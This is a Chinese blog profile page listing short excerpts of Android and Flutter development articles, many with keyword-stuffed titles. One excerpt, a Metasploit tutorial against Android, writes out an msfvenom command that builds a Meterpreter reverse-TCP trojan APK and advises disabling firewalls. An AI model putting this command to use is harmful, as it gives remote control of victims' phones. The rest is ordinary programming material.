- 博客(115)
- 收藏
- 关注
原创 Android 客户端性能优化(魅族资深工程师毫无保留奉献)
2)操作应用后,退出应用,让应用处于后台,一段时间后通过adb shell dumpsys batterystats查看电量消耗日志看是否存在异常。二、性能问题常见原因性能问题一般归结为三类:1. UI卡顿和稳定性:这类问题用户可直接感知,最为重要;2. 内存问题:内存问题主要表现为内存泄露,或者内存使用不当导致的内存抖动。如果存在内存泄露,应用会不断消耗内存,易导致频繁gc使系统出现卡顿,或者出现OOM报错;内存抖动也会导致UI卡顿。3. 耗电问题:会影响续航,表现为不必要的自启动,不恰当持锁导
2022-03-02 19:39:11
453
原创 Android 实现系统深度休眠笔记,android编程软件
private boolean isAirplaneModeOn(Context context) {// 返回值是1时表示处于飞行模式int modeIdx = Settings.Global.getInt(context.getContentResolver(),Settings.Global.AIRPLANE_MODE_ON, 0);boolean isEnabled = (modeIdx == 1);//MyLog.v("[SleepReceiver]isAirplaneModeOn:"
2022-03-02 19:37:46
679
原创 Android 基础:Materia Design 定义视图阴影elevation和创建卡片CardView
<LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:paddingBottom="@dimen/activity_vertical_margin" android:pa.
2022-03-02 19:36:21
389
原创 android 和RxJava配合使用的两个图片压缩框架LuBan、Compressor
首先需要引入RxJava和RxAndroidcompile ‘io.reactivex.rxjava2:rxjava:2.1.7’compile ‘io.reactivex.rxjava2:rxandroid:2.0.1’/**使用Compressor RxJava模式压缩@param path*/private void initCompressorRxJava(String path) {new Compressor(this).compressToFileAsFlowa
2022-03-02 19:34:56
854
原创 Android 使用 Kotlin 重写 Gradle 文件,android驱动开发
getByName(“release”) {isMinifyEnabled = falseproguardFiles(getDefaultProguardFile(“proguard-android-optimize.txt”), “proguard-rules.pro”)}}指定 JDK 改造Groovy 语法的指定 JDK 如下所示:compileOptions {sourceCompatibility JavaVersion . VERSION_1_8targetCompatibil
2022-03-02 19:32:06
580
原创 Android 仿钉钉、微信 群聊组合头像,Android插件化入门指南
简介: Android 仿钉钉、微信 群聊组合头像更多:作者 提 Bug标签:效果预览| | | | || — | — | — | — || | | | || | | | |功能生成类似钉钉、微信 群聊组合头像 Bitmap可使用图片资源 id、bitmap 或者使用 url 从网络加载,传入对应数组即可网络加载时支持线程池支持磁盘缓存、内存缓存。(记得申请磁盘缓存需要的文件存储权限)对图片资
2022-03-02 19:30:40
499
原创 Android 中自定义软键盘,【面试必备
*/private String temp_;// 标志该控件是否是密码输入控件,广发新增要求要求对密码输入控件内容作一定校验private boolean isPasswordWidget_;/**Indicator of setting label and input field in ONE row.*/boolean isLabelIndianFile_;/**Indicate the inputting is not empty.*/boolean required_
2022-03-02 19:29:15
501
原创 android 个人中心下拉弹回效果-PullscrollView,androidstudio配置
设置状态改变时的监听器@param turnListener*/public void setOnTurnListener(OnTurnListener turnListener) {mOnTurnListener = turnListener;}@Overrideprotected void onFinishInflate() {if (getChildCount() > 0) {mContentView = getChildAt(0);}}@Override..
2022-03-02 19:27:50
276
原创 DropDownMenu下拉筛选排序Menu,安卓framework
//初始化containerView并将其添加到DropDownMenucontainerView = new FrameLayout(context);containerView.setLayoutParams(new FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENT, FrameLayout.LayoutParams.MATCH_PARENT));addView(containerView, 2);}/*** 初始化
2022-03-01 21:35:27
277
原创 Context还有哪些你不知道的?,android系统开发面试题
从程序的角度上来理解:Context是个抽象类,而Activity、Service、Application等都是该类的一个实现。查看类的继承关系:ctrl + H (Windows系统)应用在三种情况下会创建Context对象(即通常说的context):1> 创建Application 对象时,即第一次启动app时。 整个App共一个Application对象,所以也只有一个Application 的Context,Application销毁,它也销毁;2> 创建Activity对象
2022-03-01 21:34:02
158
原创 Codeforces Round #363B (Div,714页PDF的鸿蒙学习笔记,
outputNOinput6 5…*……*…*****…*……*……*…outputYES3 3本题的题意是给出一个图上面 *代表墙,.代表空地,用一个炸弹去炸墙,这个炸弹只能炸毁它所在的行和列的墙,问坐标中是否能放置一炸弹使所有的墙都给炸毁能的话要给出炸弹坐标这题的做法是记录每行有多少个炸弹 每列有多少个炸弹 行列相加便是此行的炸弹(要考虑那行那列是不是个炸弹 是的话要减去1)然后遍历每个点 使他的行列炸弹数相加 如果和等于墙的总数那么就存在这个点如果坐标中没有
2022-03-01 21:32:37
118
原创 Centos Linux下使用Metasploit渗透android,移动端页面布局
ip拿到了,还不赶紧的开始生成木木马-_-,msfvenom兄弟,靠你了,输入$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.122.129 LPORT=3333 R > first.apk-p, --payload 使用攻击负荷。指定一个’-'或者输入(stdin)用户自定义的payloads(攻击负荷)。LHOST ip地址LPORT 自定义端口(注意,那些所谓的防火墙全踏马都要关闭,记得端口要放行且没被占用
2022-03-01 21:31:12
263
原创 Angular-集成-Typescript-版本-Echarts-(附代码),flutter二维码扫描插件
],imports: [BrowserModule,AppRoutingModule,NgxEchartsModule],providers: [],bootstrap: [AppComponent]})export class AppModule { }在 html 中添加:angular works!有需要的话也可以使用 [initOpts] 等 API,这些会在后面介绍然后写一个被广泛流传的 echarts-typescript 例子:import { Component
2022-03-01 21:25:31
2436
原创 Android高工面试:如果需要实现一个-路由(Router,androidstudio实验报告
基本使用第一步,在要跳转的 activity 上面注明 path,@Route(path = “activity/main”)public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main
2022-03-01 21:24:06
367
原创 webrtc之SVC实现(十),android简易计算器代码
空间可适性(Spatial Scalability):图形(或视频压缩中的一帧)在压缩编码的时候即存下了多重大小(或分辨率)的结果。让解码端得以视需求解码回所需的图片大小(或分辨率),可能以较小的结果换取解码的效率。通常较小的图片即带有大图片一部分的特性,大图的存储上不需要重复记录这些重复的部分。与时间可适性原理类似,L0基层为分辨率最小编码数据,级别越高,分辨率越高。当实际应用中需要较低分辨率时,只需丢弃高Level层级数据进行解码。质量可适性(SNR/Quality/Fidelity scalab
2022-02-02 17:25:03
181
原创 wap网站制作教程,Github标星5.3K
这里是网站制作的内容 这里是网站推广的内容 OK,完成了上面的步骤,下面我们要看一看运行结果了,稍微检查一下左边的运行代码,看看有没有粗心错误,单击上部的预览按钮,如果没有错误的话就会在右边显示编程的结果,这个结果是模拟手机用户浏览的结果,如下图:模拟手机浏览首页结果选择请继续,进入模拟手机浏览导航页面结果选择“建站指南”,进入模拟手机浏览内容页面结果细心的读者也许看到了这三张图片的上部都有一个下拉框,里面有MainCard字样,是的,这就是...
2022-02-02 17:23:38
903
原创 UniversalImageLoader基础,android面试基础
// 1.内存缓存中是否存在,默认为LruMemoryCacheBitmap bmp = configuration.memoryCache.get(memoryCacheKey);if (bmp != null && !bmp.isRecycled()) {// …省略部分代码listener.onLoadingComplete(uri, imageAware.getWrappedView(), bmp);} else {ImageLoadingInfo imageLoadin
2022-02-02 17:20:48
1382
原创 umeng(友盟)实现第三方登录和分享详解之登录详解,程序员的中年危机
android:name=“com.sina.weibo.sdk.share.WbShareTransActivity”>微信:不需要支付宝:<activityandroid:name=".apshare.ShareEntryActivity"android:configChanges=“keyboardHidden|orientation|screenSize”android:exported=“true”android:screenOrientation=“portr
2022-02-02 17:17:58
1003
原创 Thinkphp+Vue,kotlin数据类
上传必看:1、只能上传jpg/png/gif类型的图片,且大小不能超过2MB;2、本页面功能方便用户快速批量上传固定金额的收款二维码;3、建议把金额设置为文件名称,方便系统自动识别输入固定收款金额;4、鼠标悬浮于收款码缩略图上,可以放大图片,方便查看收款码的金额;立即提交返回js部分:thinkphp后端控制器:public function upload() {if(request()->isPost()) {$postdata=input(‘..
2022-02-02 17:16:33
1531
原创 一线互联网互联网架构师自述:GitHub标星10w+(1),基于android的app开发代码
2、业务理解和抽象能力:驾驭概念的技能是最高潜力总结:抽象能力是善于把实物概念化并归类。业务理解:架构师需要理解业务,并转换为可被研发理解的实现方案,因此业务理解能力是架构师的必备技能。通常来说一个资深的业务架构师,对业务有足够的敏感度和深入的认知和积累,能够清楚地知道自己的设计能给公司带来多大的业务影响,应该能大概预判业务未来的发展趋势,以便在系统的可扩展性上留好一定的空间,所以也会很自然的出现有些业务架构师做着做着就干脆转为PD类型的角色。抽象能力:是通过对业务的理解转换为系统实现的模型,这
2022-01-31 17:08:21
247
原创 一步步带你读懂 Okhttp 源码,作为字节跳动面试官
@Override public Call newCall(Request request) {return new RealCall(this, request, false /* for web socket */);}可以看到 call 对象实际是 RealCall 的实例化对象RealCall#execute()@Override public Response execute() throws IOException {synchronized (this) {if (execut.
2022-01-31 17:06:56
175
原创 一定要面试才刷面试题?Android400道面试题+通关知识宝典助你进大厂
5.在Java中List< A >和List< B >是一样的类型还是不一样的类型?为什么?6.你可以例举一些自己使用泛型的栗子吗?反射1.什么是反射?2.如何获取一个类的成员变量 & 成员方法 & 注解信息 & …。3.通常在项目当中用到反射多吗?都是用来干嘛?4.如何反射一个匿名内部类(考察对匿名内部类的认识)注解1.什么是注解 & 它和注释的区别?2.注解的工作机制是什么?3.如何解析注解?Socket编程1.
2022-01-31 17:05:31
373
原创 一场赛跑引起的并发知识,这些Android高级必会知识点你能答出来几个
小伙伴看看,是不是明显不对啊,总耗时尽然为0,肯定有问题。应该有人发现了,因为我们是在main方法中执行比赛的,其他线程单独执行,主main线程执行完就终止了程序,而不会管其他线程有没有结束。这明显和我们想要的不一样,我们需要等所有的选手跑完,才能算比赛结束。那应该怎么优化呢?往下看CyclicBarrier我们这里引入一个知识点CyclicBarrier循环屏障,CyclicBarrier是一组线程互相等待,只有全部到达屏障点以后才能继续执行。可以举个生活场景大巴车进入服务区进行休息,大巴.
2022-01-31 17:02:41
106
原创 一个即将30岁的Android程序员妄想用他的「逆袭」来劝你不再
三、近一点再近一点1. 离开2018年在与家人的交谈和商量之下,做出了离开北京,去杭州的决定(我是浙江人),其实原因真的很简单,就是在北京太难了,混不下去,坚持下去可能会混出个人样,但是在当时也没有户口还有高不可及的房价很难说服我在北京混下去。离开北京的时候跟领导谈了很多次,做了很多挽留,包括加薪,现在回想一下当时要是再坚持一年,混到个小组长再去杭州可能会更好。2. 开始来到杭州对我来说真的是一个新的开始,在这里没有什么朋友,匆匆忙忙的找了房子,找了工作,开始了新一轮的打工生涯。在这里又有了新
2022-01-31 17:01:16
141
原创 【译】Flutter 延迟组件原理与自定义 【包体积优化 _ 动态化
这个例子有以下特点:四个 Dart 库,其中 Dart 库 lib1 依赖于 lib2。lib1、lib3 和 lib4 被作为延迟组件导入到 flutter 应用程序的主代码中。四个加载单元,其中 id 为 1 的是基本单元,加载单元 2 同时包含 lib1 和 lib2。加载单元 3 和 4 分别包含 lib3 和 lib4。三个定义的延迟组件,加上一个隐式基本组件。延迟组件 1 包含加载单元 2 和静态资源。延迟组件 2 包含加载单元 3 和 4,没有静态资源。而延迟组件 3 是一个仅含静态资
2022-01-31 16:59:51
355
原创 【译】 Flutter 延迟加载组件 【包体积优化 _ 动态化
@Overrideprotected void attachBaseContext(Context base) {super.attachBaseContext(base);// Emulates installation of future on demand modules using SplitCompat.SplitCompat.install(this);}将 `SplitCompatApplication` 声明为 application 的子类, 并将 `FlutterAppli
2022-01-31 16:58:26
1115
原创 【性能优化实战】宝宝知道小程序FMP优化实录,android视频开发框架
经过上述手段之后,FMP 降到了 1900ms 左右,后续再也无法产生优化效果。以上优化手段,基本排除了网络连接,包体积优化不到位引起的性能不佳。那么我们就只有一个问题需要仔细排查 —— 内容的渲染效率。问题发现目前从手百上打开宝宝知道小程序的最大入口页面为问答页,整体 pv 占比超过 6 成,那么我们优先优化这个页面,便可以带来性能收益的最大化。通读问答页代码,按显示顺序从上到下,整个页面的功能点依次为:直播信息横条问题区回答区广告组件区为你推荐 feedlist需要展现的内容类别
2022-01-31 16:57:01
189
原创 公司董事长——50w年薪程序员从顶端到谷底,搜狐新闻客户端android面试题
animation和animator的用法,概述实现原理Handler,looper,messagequeue,thread,message,每个类功能,关系?Mvc,mvp的差异app闪退的原因有哪些?每种情况简述分析过程如果一个app存在多进程,请列出全部的ipc方法操作系统中进程和线程有什么联系和区别,系统什么时候会在用户态和内核态中切换?- 如何加载ndk库?如何在jni中注册native函数,有几种注册方式?一个app如果性能不好,怎么分析?饿了么..
2022-01-29 18:22:15
176
原创 使用Kotlin从零开始写一个现代Android 项目-Part1,flutter下拉刷新上拉加载更多
<?xml version="1.0" encoding="utf-8"?><android.support.constraint.ConstraintLayout xmlns:android=“http://schemas.android.com/apk/res/android”xmlns:app=“http://schemas.android.com/apk/res-auto”xmlns:tools=“http://schemas.android.c
2022-01-29 18:19:25
224
原创 你的Android App又需要适配了:Android 12,全新的App启动动画
看一下效果,发现启动画面的展示时间确实变长了。二、定制退出效果====================================================================当App的第一帧开始描画,SplashScreen将会退出展示。为了丰富退出环节的体验,系统也开放了相应的入口,即画面退出的回调。在这个回调里可以开始退出效果的定制,包括整体的退出动画和图标的退出动画。2.1 监听启动画面的退出向SplashScreen注册OnExitAnimationListene
2022-01-29 18:15:10
2969
原创 仿IOS弹出框及提示框(含Demo),Android-App的设计架构经验谈
@Overridepublic void onMyCancle() {}});}private void showIosDialog() {new IosDialog(MainActivity.this, “取消”,new String[] { “孙悟空”, “猪八戒”, “沙僧” }, true).setOnMyPopClickListener(new MyPopClickListener() {@Overridepublic void myListItemClick(int item
2022-01-29 18:10:55
1831
原创 代码洁癖症的我,学习 Lint 学到心态爆炸,移动互联网开发专业
或者红色标记的代码(并没有任何错误),如下图所示:上文黄色的提醒和红色警告,都是来自Android Studio内置的Lint工具检查我们的代码后而作出的动作。通过配置Lint,也可以消除上面的提醒。例如,我开发系统APK,根本不需要考虑用户是否授权。那么Lint是什么呢?LintAndroid Studio 提供一个名为Lint的静态代码扫描工具,可以发现并纠正代码结构中的质量问题,而无需实际执行该应用,也不必编写测试用例。Lint 工具可检查您的 Android 项目源文件是否包含潜
2022-01-29 18:09:30
169
原创 写了个 Android 性能检测的库,还有人看性能相关的么?
线程和线程池的创建和启动监控IPC(进程间通讯)监控同时还实现了以下功能实时通过 logcat 打印问题高效保存检测信息到本地提供上报到指定服务器接口接入指南====1 在 APP 工程目录下面的 build.gradle 添加如下内容dependencies {debugImplementation “com.xander.performance:perf:0.1.9”releaseImplementation “com.xander.performanc..
2022-01-28 18:44:38
371
原创 关于Android中使用Handler造成内存泄露的分析和解决,android蓝牙开发书籍
而Handler通常会伴随着一个耗时的后台线程(例如从网络拉取图片)一起出现,这个后台线程在任务执行完毕(例如图片下载完毕)之后,通过消息机制通知Handler,然后Handler把图片更新到界面。然而,如果用户在网络请求过程中关闭了Activity,正常情况下,Activity不再被使用,它就有可能在GC检查时被回收掉,但由于这时线程尚未执行完,而该线程持有Handler的引用(不然它怎么发消息给Handler?),这个Handler又持有Activity的引用,就导致该Activity无法被回收(即内
2022-01-28 18:43:12
168
原创 全面学习RxJava_RxAndroid_AutoDispose_RxBinding_RxBus
java.util.concurrent.TimeUnit unit) // 时间单位TimerInterval记录轮循器的信息时间间隔时间单位值指定线程public final Observable<Timed> timeInterval()// 时间间隔设置固定单位public final Observable<Timed> timeInterval(TimeUnit unit)输出示例:// 无参默认单位为毫秒Timed[time=1003, uni
2022-01-28 18:38:58
236
原创 全面了解Kotlin,2021大厂Android高级面试题及答案
val str : String = “test” 根据上图,我们需要注意两点:2.1.val等于final我们可以看到var定义的num可以被重新赋值,str却不可以。上图的val实际上就等于Java中的final String,也就是val定义的变量默认添加了final关键字。2.2.可空?以及空匹配第二点就是num变量在定义为Int的时候是不能赋值为Null的,如果需要我们需要这么定义var num : Int?2.3.类型推断val str = “”kotlin具有类型推断功能,上
2022-01-28 18:37:33
1202
原创 入职阿里一个月被迫转Android,音视频编解码基础知识
大海学 Android 是从阿里实习回去开始的,那个时候知道后面要转语言啦。于是突突突从零开始学习 Android。因为之前有 C++ 的一些基础,所以语言特性这块学起来是比较快的。我的 Android 是跟着一个 B 站的老师学习的。(这个老师现在也有点火了有系统的学习路线和对应的教程,学习起来会比较的快。大概跟着学习了一个月的时间左右。我就掌握了一点点他快速自学的方法,后面我就不怎么看他的视频了。我开始自己罗列重点,写教案,录视频,讲课。如果要我说学习 Android(也可以说是学习计算
2022-01-28 18:34:42
1500
原创 你要的进阶,Jetpack核心组件Lifecycle的使用和源码解析
##一、使用Lifecycle####1. 引入Lifecycle我们来看一下如何引入:1.非androidX项目引入://运行时implementation “android.arch.lifecycle:runtime:1.1.1”// 编译期annotationProcessor “android.arch.lifecycle:compiler:1.1.1”2.androidX项目引入:androidX是support库的新时代,Google正在将support迁移到android
2022-01-27 18:00:19
142
原创 你确定自己学会了自定义MarqueeView?这个你会吗?进来看看吧
第一部分:MultiItemTypeAdapter 相关第二部分:MarqueeView 与 MultiItemTypeAdapter 之间实质怎样建立联系的MultiItemTypeAdapter 讲解讲解 MultiItemTypeAdapter 之前,我们先来看一下相应的接口 ItemViewDelegate 和类 ItemViewDelegateManagerItemViewDelegate而 ItemViewDelegateManager 主要是管理 ItemViewDelegate
2022-01-27 17:58:54
524
原创 仿饿了么加入购物车旋转控件 - 自带闪转腾挪动画 的按钮
android:layout_height=“wrap_content”app:count=“3”app:gapBetweenCircle=“90dp”app:maxCount=“99”/><com.mcxtzhang.lib.AnimShopButtonandroid:id="@+id/btnEle"android:layout_width=“wrap_content”android:layout_height=“wrap_content”app:addEnableBgCol
2022-01-27 17:57:29
874
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人